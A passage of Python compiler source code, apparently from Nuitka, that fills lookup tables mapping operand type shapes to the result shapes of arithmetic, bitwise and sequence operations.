tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_unsupported_sub,
tshape_bytes: operation_result_unsupported_sub,
tshape_bytearray: operation_result_unsupported_sub,
tshape_unicode: operation_result_unsupported_sub,
tshape_tuple: operation_result_unsupported_sub,
tshape_list: operation_result_unsupported_sub,
# Unsupported:
tshape_set: operation_result_unsupported_sub,
tshape_frozenset: operation_result_unsupported_sub,
tshape_dict: operation_result_unsupported_sub,
tshape_type: operation_result_unsupported_sub,
tshape_none: operation_result_unsupported_sub,
}
)
mult_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_long_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_long_noescape,
tshape_bool: operation_result_long_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_str_noescape,
tshape_bytes: operation_result_bytes_noescape,
tshape_bytearray: operation_result_bytearray_noescape,
tshape_unicode: operation_result_unicode_noescape,
tshape_tuple: operation_result_tuple_noescape,
tshape_list: operation_result_list_noescape,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
floordiv_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math ops
tshape_int: operation_result_zerodiv_long,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_long,
tshape_bool: operation_result_zerodiv_long,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_floordiv,
tshape_bytes: operation_result_unsupported_floordiv,
tshape_bytearray: operation_result_unsupported_floordiv,
tshape_unicode: operation_result_unsupported_floordiv,
tshape_tuple: operation_result_unsupported_floordiv,
tshape_list: operation_result_unsupported_floordiv,
tshape_set: operation_result_unsupported_floordiv,
tshape_frozenset: operation_result_unsupported_floordiv,
tshape_dict: operation_result_unsupported_floordiv,
tshape_type: operation_result_unsupported_floordiv,
tshape_none: operation_result_unsupported_floordiv,
}
)
olddiv_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math
tshape_int: operation_result_zerodiv_long,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_long,
tshape_bool: operation_result_zerodiv_long,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_olddiv,
tshape_bytes: operation_result_unsupported_olddiv,
tshape_bytearray: operation_result_unsupported_olddiv,
tshape_unicode: operation_result_unsupported_olddiv,
tshape_tuple: operation_result_unsupported_olddiv,
tshape_list: operation_result_unsupported_olddiv,
tshape_set: operation_result_unsupported_olddiv,
tshape_dict: operation_result_unsupported_olddiv,
tshape_type: operation_result_unsupported_olddiv,
tshape_none: operation_result_unsupported_olddiv,
}
)
mod_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math
tshape_int: operation_result_zerodiv_long,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_long,
tshape_bool: operation_result_zerodiv_long,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex
if python_version < 0x300
else operation_result_unsupported_mod,
# Unsupported:
tshape_str: operation_result_unsupported_mod,
tshape_bytes: operation_result_unsupported_mod,
tshape_bytearray: operation_result_unsupported_mod,
tshape_unicode: operation_result_unsupported_mod,
tshape_tuple: operation_result_unsupported_mod,
tshape_list: operation_result_unsupported_mod,
tshape_set: operation_result_unsupported_mod,
tshape_frozenset: operation_result_unsupported_mod,
tshape_dict: operation_result_unsupported_mod,
tshape_type: operation_result_unsupported_mod,
tshape_none: operation_result_unsupported_mod,
}
)
pow_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_unknown, # TODO: operation_result_intorlongorfloat,
tshape_long: operation_result_unknown, # TODO: operation_result_longorfloat,
tshape_int_or_long: operation_result_unknown, # TODO: operation_result_intorlongorfloat,
tshape_bool: operation_result_long_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Unsupported:
tshape_str: operation_result_unsupported_pow,
tshape_bytes: operation_result_unsupported_pow,
tshape_bytearray: operation_result_unsupported_pow,
tshape_unicode: operation_result_unsupported_pow,
tshape_tuple: operation_result_unsupported_pow,
tshape_list: operation_result_unsupported_pow,
tshape_set: operation_result_unsupported_pow,
tshape_frozenset: operation_result_unsupported_pow,
tshape_dict: operation_result_unsupported_pow,
tshape_type: operation_result_unsupported_pow,
tshape_none: operation_result_unsupported_pow,
}
)
bitor_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Long keep their type
tshape_int: operation_result_long_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_long_noescape,
tshape_bool: operation_result_long_noescape,
# Unsupported:
tshape_float: operation_result_unsupported_bitor,
tshape_complex: operation_result_unsupported_bitor,
tshape_str: operation_result_unsupported_bitor,
tshape_bytes: operation_result_unsupported_bitor,
tshape_bytearray: operation_result_unsupported_bitor,
tshape_unicode: operation_result_unsupported_bitor,
tshape_tuple: operation_result_unsupported_bitor,
tshape_list: operation_result_unsupported_bitor,
tshape_set: operation_result_unsupported_bitor,
tshape_frozenset: operation_result_unsupported_bitor,
tshape_dict: operation_result_unsupported_bitor,
tshape_type: operation_result_unsupported_bitor,
tshape_none: operation_result_unsupported_bitor,
}
)
bitand_shapes_long.update(
cloneWithUnsupportedChange(bitor_shapes_long, operation_result_unsupported_bitand)
)
bitxor_shapes_long.update(
cloneWithUnsupportedChange(bitor_shapes_long, operation_result_unsupported_bitand)
)
lshift_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Long keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_valueerror_long,
tshape_long: operation_result_valueerror_long,
tshape_int_or_long: operation_result_valueerror_long,
tshape_bool: operation_result_valueerror_long,
# Unsupported:
tshape_float: operation_result_unsupported_lshift,
tshape_complex: operation_result_unsupported_lshift,
tshape_str: operation_result_unsupported_lshift,
tshape_bytes: operation_result_unsupported_lshift,
tshape_bytearray: operation_result_unsupported_lshift,
tshape_unicode: operation_result_unsupported_lshift,
tshape_tuple: operation_result_unsupported_lshift,
tshape_list: operation_result_unsupported_lshift,
tshape_set: operation_result_unsupported_lshift,
tshape_frozenset: operation_result_unsupported_lshift,
tshape_dict: operation_result_unsupported_lshift,
tshape_type: operation_result_unsupported_lshift,
tshape_none: operation_result_unsupported_lshift,
}
)
rshift_shapes_long.update(
cloneWithUnsupportedChange(lshift_shapes_long, operation_result_unsupported_rshift)
)
def mergeIntOrLong(op_shapes_int, op_shapes_long):
r = {}
for key, value in op_shapes_int.items():
value2 = op_shapes_long[key]
if value is value2:
r[key] = value
elif value[0] is tshape_int_or_long and value2[0] is tshape_long:
assert value[1] is value2[1]
r[key] = value
elif value[0] is tshape_int and value2[0] is tshape_long:
assert value[1] is value2[1]
if value[1] is operation_result_intorlong_noescape[1]:
r[key] = operation_result_intorlong_noescape
elif value[1] is operation_result_zerodiv_intorlong[1]:
r[key] = operation_result_zerodiv_intorlong
else:
assert False
else:
assert False, (key, "->", value, "!=", value2)
return r
add_shapes_intorlong.update(mergeIntOrLong(add_shapes_int, add_shapes_long))
sub_shapes_intorlong.update(mergeIntOrLong(sub_shapes_int, sub_shapes_long))
mult_shapes_intorlong.update(mergeIntOrLong(mult_shapes_int, mult_shapes_long))
floordiv_shapes_intorlong.update(
mergeIntOrLong(floordiv_shapes_int, floordiv_shapes_long)
)
truediv_shapes_intorlong.update(mergeIntOrLong(truediv_shapes_int, truediv_shapes_long))
olddiv_shapes_intorlong.update(mergeIntOrLong(olddiv_shapes_int, olddiv_shapes_long))
mod_shapes_intorlong.update(mergeIntOrLong(mod_shapes_int, mod_shapes_long))
divmod_shapes_intorlong.update(mergeIntOrLong(divmod_shapes_int, divmod_shapes_long))
pow_shapes_intorlong.update(mergeIntOrLong(pow_shapes_int, pow_shapes_long))
lshift_shapes_intorlong.update(mergeIntOrLong(lshift_shapes_int, lshift_shapes_long))
rshift_shapes_intorlong.update(mergeIntOrLong(rshift_shapes_int, rshift_shapes_long))
bitor_shapes_intorlong.update(mergeIntOrLong(bitor_shapes_int, bitor_shapes_long))
bitand_shapes_intorlong.update(mergeIntOrLong(bitand_shapes_int, bitand_shapes_long))
bitxor_shapes_intorlong.update(mergeIntOrLong(bitxor_shapes_int, bitxor_shapes_long))
add_shapes_float.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_float_noescape,
tshape_long: operation_result_float_noescape,
tshape_int_or_long: operation_result_float_noescape,
tshape_bool: operation_result_float_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_float.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_float_noescape,
tshape_long: operation_result_float_noescape,
tshape_int_or_long: operation_result_float_noescape,
tshape_bool: operation_result_float_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_sub,
tshape_bytes: operation_result_unsupported_sub,
tshape_bytearray: operation_result_unsupported_sub,
tshape_unicode: operation_result_unsupported_sub,
tshape_tuple: operation_result_unsupported_sub,
tshape_list: operation_result_unsupported_sub,
# Unsupported:
tshape_set: operation_result_unsupported_sub,
tshape_frozenset: operation_result_unsupported_sub,
tshape_dict: operation_result_unsupported_sub,
tshape_type: operation_result_unsupported_sub,
tshape_none: operation_result_unsupported_sub,
}
)
mult_shapes_float.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_float_noescape,
tshape_long: operation_result_float_noescape,
tshape_int_or_long: operation_result_float_noescape,
tshape_bool: operation_result_float_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
floordiv_shapes_float.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# floats do math ops
tshape_int: operation_result_zerodiv_float,
tshape_long: operation_result_zerodiv_float,
tshape_int_or_long: operation_result_zerodiv_float,
tshape_bool: operation_result_zerodiv_float,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_floordiv,
tshape_bytes: operation_result_unsupported_floordiv,
tshape_bytearray: operation_result_unsupported_floordiv,
tshape_unicode: operation_result_unsupported_floordiv,
tshape_tuple: operation_result_unsupported_floordiv,
tshape_list: operation_result_unsupported_floordiv,
tshape_set: operation_result_unsupported_floordiv,
tshape_frozenset: operation_result_unsupported_floordiv,
tshape_dict: operation_result_unsupported_floordiv,
tshape_type: operation_result_unsupported_floordiv,
tshape_none: operation_result_unsupported_floordiv,
}
)
truediv_shapes_float.update(
cloneWithUnsupportedChange(
floordiv_shapes_float, operation_result_unsupported_truediv
)
)
olddiv_shapes_float.update(
cloneWithUnsupportedChange(
floordiv_shapes_float, operation_result_unsupported_olddiv
)
)
mod_shapes_float.update(
cloneWithUnsupportedChange(floordiv_shapes_float, operation_result_unsupported_mod)
)
pow_shapes_float.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_zerodiv_float,
tshape_long: operation_result_zerodiv_float,
tshape_int_or_long: operation_result_zerodiv_float,
tshape_bool: operation_result_float_noescape,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_pow,
tshape_bytes: operation_result_unsupported_pow,
tshape_bytearray: operation_result_unsupported_pow,
tshape_unicode: operation_result_unsupported_pow,
tshape_tuple: operation_result_unsupported_pow,
tshape_list: operation_result_unsupported_pow,
tshape_set: operation_result_unsupported_pow,
tshape_frozenset: operation_result_unsupported_pow,
tshape_dict: operation_result_unsupported_pow,
tshape_type: operation_result_unsupported_pow,
tshape_none: operation_result_unsupported_pow,
}
)
add_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_complex_noescape,
tshape_long: operation_result_complex_noescape,
tshape_int_or_long: operation_result_complex_noescape,
tshape_bool: operation_result_complex_noescape,
tshape_float: operation_result_complex_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_complex_noescape,
tshape_long: operation_result_complex_noescape,
tshape_int_or_long: operation_result_complex_noescape,
tshape_bool: operation_result_complex_noescape,
tshape_float: operation_result_complex_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_sub,
tshape_bytes: operation_result_unsupported_sub,
tshape_bytearray: operation_result_unsupported_sub,
tshape_unicode: operation_result_unsupported_sub,
tshape_tuple: operation_result_unsupported_sub,
tshape_list: operation_result_unsupported_sub,
# Unsupported:
tshape_set: operation_result_unsupported_sub,
tshape_frozenset: operation_result_unsupported_sub,
tshape_dict: operation_result_unsupported_sub,
tshape_type: operation_result_unsupported_sub,
tshape_none: operation_result_unsupported_sub,
}
)
mult_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_complex_noescape,
tshape_long: operation_result_complex_noescape,
tshape_int_or_long: operation_result_complex_noescape,
tshape_bool: operation_result_complex_noescape,
tshape_float: operation_result_complex_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
truediv_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# floats do math ops
tshape_int: operation_result_zerodiv_complex,
tshape_long: operation_result_zerodiv_complex,
tshape_int_or_long: operation_result_zerodiv_complex,
tshape_bool: operation_result_zerodiv_complex,
tshape_float: operation_result_zerodiv_complex,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_truediv,
tshape_bytes: operation_result_unsupported_truediv,
tshape_bytearray: operation_result_unsupported_truediv,
tshape_unicode: operation_result_unsupported_truediv,
tshape_tuple: operation_result_unsupported_truediv,
tshape_list: operation_result_unsupported_truediv,
tshape_set: operation_result_unsupported_truediv,
tshape_frozenset: operation_result_unsupported_truediv,
tshape_dict: operation_result_unsupported_truediv,
tshape_type: operation_result_unsupported_truediv,
tshape_none: operation_result_unsupported_truediv,
}
)
if python_version < 0x300:
floordiv_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# floats do math ops
tshape_int: operation_result_zerodiv_complex,
tshape_long: operation_result_zerodiv_complex,
tshape_int_or_long: operation_result_zerodiv_complex,
tshape_bool: operation_result_zerodiv_complex,
tshape_float: operation_result_zerodiv_complex,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_floordiv,
tshape_bytes: operation_result_unsupported_floordiv,
tshape_bytearray: operation_result_unsupported_floordiv,
tshape_unicode: operation_result_unsupported_floordiv,
tshape_tuple: operation_result_unsupported_floordiv,
tshape_list: operation_result_unsupported_floordiv,
tshape_set: operation_result_unsupported_floordiv,
tshape_frozenset: operation_result_unsupported_floordiv,
tshape_dict: operation_result_unsupported_floordiv,
tshape_type: operation_result_unsupported_floordiv,
tshape_none: operation_result_unsupported_floordiv,
}
)
olddiv_shapes_complex.update(
cloneWithUnsupportedChange(
truediv_shapes_complex, operation_result_unsupported_olddiv
)
)
mod_shapes_complex.update(
cloneWithUnsupportedChange(truediv_shapes_complex, operation_result_unsupported_mod)
)
pow_shapes_complex.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
tshape_int: operation_result_zerodiv_complex,
tshape_long: operation_result_zerodiv_complex,
tshape_int_or_long: operation_result_zerodiv_complex,
tshape_bool: operation_result_complex_noescape,
tshape_float: operation_result_zerodiv_complex,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_pow,
tshape_bytes: operation_result_unsupported_pow,
tshape_bytearray: operation_result_unsupported_pow,
tshape_unicode: operation_result_unsupported_pow,
tshape_tuple: operation_result_unsupported_pow,
tshape_list: operation_result_unsupported_pow,
tshape_set: operation_result_unsupported_pow,
tshape_frozenset: operation_result_unsupported_pow,
tshape_dict: operation_result_unsupported_pow,
tshape_type: operation_result_unsupported_pow,
tshape_none: operation_result_unsupported_pow,
}
)
add_shapes_tuple.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
tshape_complex: operation_result_unsupported_add,
# Sequence mixing is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_tuple_noescape,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
mult_shapes_tuple.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_tuple_noescape,
tshape_long: operation_result_tuple_noescape,
tshape_int_or_long: operation_result_tuple_noescape,
tshape_bool: operation_result_tuple_noescape,
tshape_float: operation_result_unsupported_mul,
tshape_complex: operation_result_unsupported_mul,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_mul,
tshape_bytes: operation_result_unsupported_mul,
tshape_bytearray: operation_result_unsupported_mul,
tshape_unicode: operation_result_unsupported_mul,
tshape_tuple: operation_result_unsupported_mul,
tshape_list: operation_result_unsupported_mul,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
add_shapes_list.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
tshape_complex: operation_result_unsupported_add,
# Sequence concat mixing is not allowed except for list
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_list_noescape,
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
iadd_shapes_list.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
tshape_complex: operation_result_unsupported_add,
# Sequence concat mixing is not allowed
tshape_str: operation_result_list_noescape,
tshape_bytes: operation_result_list_noescape,
tshape_bytearray: operation_result_list_noescape,
tshape_unicode: operation_result_list_noescape,
tshape_tuple: operation_result_list_noescape,
tshape_list: operation_result_list_noescape,
tshape_set: operation_result_list_noescape,
tshape_frozenset: operation_result_list_noescape,
tshape_dict: operation_result_list_noescape,
# Unsupported:
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
# These multiply with nothing really.
nothing_multiplicants = (
tshape_none,
tshape_set,
tshape_dict,
tshape_type,
tshape_list_iterator,
tshape_dict_iterator,
tshape_set_iterator,
tshape_tuple_iterator,
)
def updateNonMultiplicants(op_shapes):
for shape in nothing_multiplicants:
op_shapes[shape] = operation_result_unsupported_mul
sequence_non_multiplicants = (
tshape_float,
tshape_str,
tshape_bytes,
tshape_bytearray,
tshape_unicode,
tshape_tuple,
tshape_list,
tshape_set,
tshape_frozenset,
tshape_dict,
)
def updateSequenceNonMultiplicants(op_shapes):
updateNonMultiplicants(op_shapes)
for shape in sequence_non_multiplicants:
op_shapes[shape] = operation_result_unsupported_mul
mult_shapes_list.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int is sequence repeat
tshape_int: operation_result_list_noescape,
tshape_long: operation_result_list_noescape,
tshape_int_or_long: operation_result_list_noescape,
tshape_bool: operation_result_list_noescape,
}
)
# Sequence repeat is not allowed with most types.
updateSequenceNonMultiplicants(mult_shapes_list)
add_shapes_set.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Sets to do not multiply
tshape_int: operation_result_unsupported_add,
tshape_long: operation_result_unsupported_add,
tshape_int_or_long: operation_result_unsupported_add,
tshape_bool: operation_result_unsupported_add,
tshape_float: operation_result_unsupported_add,
# Sequence repeat is not allowed
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_set.update(sub_shapes_none)
sub_shapes_set[tshape_set] = operation_result_set_noescape
